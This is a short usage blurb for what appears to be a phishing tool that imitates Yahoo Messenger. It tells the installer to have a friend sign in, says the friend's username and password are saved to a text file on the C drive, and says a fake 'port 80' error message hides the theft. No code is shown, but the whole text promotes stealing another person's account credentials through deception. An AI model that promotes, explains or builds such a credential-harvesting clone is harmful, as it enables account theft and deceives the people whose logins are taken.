How to use :
This application looks same as Yahoo Messenger. Just install in your PC and tell your friend to sign into Yahoo. When his/her will enter his username and password and clicks Sign In, all the account details will get save in your C drive with name gagan.txt. Just open this file and you can see his/her account details.
Note : When someone clicks on Sign In a fake error will come that port 80 error, check your Internet connection and try again.
Download Instructions :
Requirements : You will require any Windows Version and latest dot net installed in your system.